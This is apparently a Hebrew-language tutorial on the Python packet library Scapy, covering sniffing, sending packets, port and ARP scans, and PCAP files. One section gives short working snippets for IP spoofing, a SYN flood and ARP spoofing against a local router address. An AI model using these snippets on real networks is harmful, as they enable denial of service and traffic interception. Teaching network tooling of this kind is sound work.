לדלג לתוכן

הרצאה מקיפה על Scapy – כלי וספרייה לניתוח ותפעול packets רשת

שימו לב, ההרצאה רלוונטית לאנשים שיודעים לכתוב קוד בפייתון! ואם אתם לא, מוזמנים לעשות את קורס "קורס תכנות בסיסי" המוצע באתר.

מבוא

הספרייה Scapy היא ספריית Python רבת-עוצמה המאפשרת יצירה, שליחה, capture, וניתוח של packets רשת.
בניגוד לכלים כמו tcpdump או Wireshark, שמתרכזים רק בcapture וניתוח, Scapy מאפשר גם יצירה ושינוי של packets בזמן אמת.

🔹 השימושים המרכזיים של Scapy:

  • ניתוח תעבורה (כמו tcpdump/Wireshark)
  • יצירת packets מותאמות אישית
  • תקיפת רשתות
  • שינוי ותקיפה של פרוטוקולים
  • סריקות רשת (בדומה ל-Nmap)
  • זיוף packets (Packet Spoofing)

התקנה והכנה

התקנת Scapy

📌 דרישות מקדימות:
לפני ההתקנה, ודא ש-Python מותקן (Python 3.6+ מומלץ).

התקנה ב-Ubuntu/Debian

sudo apt update && sudo apt install python3-scapy

התקנה ב-Windows ו-MacOS

pip install scapy

בדיקת התקנה

python3 -c "from scapy.all import *; print('Scapy עובד!')"

שימוש בסיסי

📌 Scapy יכול לעבוד בשני מצבים:

  1. מצב אינטראקטיבי (Shell): הפעלה דרך הטרמינל (scapy).
  2. סקריפטים ב-Python: שימוש בספרייה בתוך קוד Python.

פתיחת Shell אינטראקטיבי

scapy

או ב-Python:

from scapy.all import *

capture packets רשת

1. הcapture packets עם sniff()

sniff(count=10)
  • לוכד 10 packets רשת מכל interface.

2. הcapture packets מפורטות

sniff(count=5, iface="eth0", prn=lambda x: x.summary())
  • מאזין ל-eth0 ומציג תקציר לכל packet.

3. הcapture packets HTTP בלבד

sniff(filter="tcp port 80", count=5, prn=lambda x: x.summary())
  • לוכד 5 packets HTTP (פורט 80).

יצירת ושליחת packets

4. שליחת Ping (ICMP Echo Request)

send(IP(dst="8.8.8.8")/ICMP())
  • שולח Ping ל-8.8.8.8.

5. שליחת packet TCP לפורט 80

send(IP(dst="192.168.1.1")/TCP(dport=80))
  • שולח packet TCP לפורט 80 בכתובת 192.168.1.1.

6. שליחת UDP ל-DNS (פורט 53)

send(IP(dst="8.8.8.8")/UDP(dport=53))
  • שולח בקשת DNS לשרתי Google DNS.

סריקות רשת (Nmap עם Scapy)

7. סריקת פתיחות פורטים

ans, unans = sr(IP(dst="192.168.1.1")/TCP(dport=[22,80,443], flags="S"))
ans.summary()
  • שולח packets SYN לכתובת 192.168.1.1 לפורטים 22, 80, 443.

8. גילוי כתובות ברשת (ARP Scan)

ans, unans = arping("192.168.1.0/24")
  • מגלה מכשירים פעילים ברשת 192.168.1.0/24.

זיוף packets והתקפות רשת

9. זיוף packet IP ושינוי כתובת מקור

send(IP(src="1.2.3.4", dst="192.168.1.1")/ICMP())
  • שולח packet Ping מזויפת עם כתובת מקור 1.2.3.4.

10. התקפת SYN Flood

for i in range(100):
    send(IP(src=RandIP(), dst="192.168.1.1")/TCP(dport=80, flags="S"))
  • שולח 100 packets SYN עם כתובות IP מזויפות.

11. התקפת ARP Spoofing

send(ARP(op=2, pdst="192.168.1.1", hwdst="00:11:22:33:44:55", psrc="192.168.1.100"))
  • מתחזה למחשב 192.168.1.100 מול הנתב 192.168.1.1.

ניתוח תוכן packets

12. ניתוח packet ICMP

pkt = IP(dst="8.8.8.8")/ICMP()
pkt.show()
  • מציג את מבנה הpacket.

13. הדפסת תוכן packets TCP

sniff(filter="tcp", count=5, prn=lambda x: x.show())
  • מציג את כל השדות של packets TCP.

שימוש במודולים מתקדמים

14. המרת packet לפורמט Hex

pkt = IP(dst="8.8.8.8")/ICMP()
hexdump(pkt)
  • מציג את הpacket בפורמט הקסדצימלי.

15. שמירת packets לקובץ (PCAP)

pkts = sniff(count=10)
wrpcap("capture.pcap", pkts)
  • שומר 10 packets לקובץ capture.pcap.

16. קריאת packets מקובץ PCAP

pkts = rdpcap("capture.pcap")
for pkt in pkts:
    pkt.show()
  • קורא ומציג packets מקובץ Wireshark (PCAP).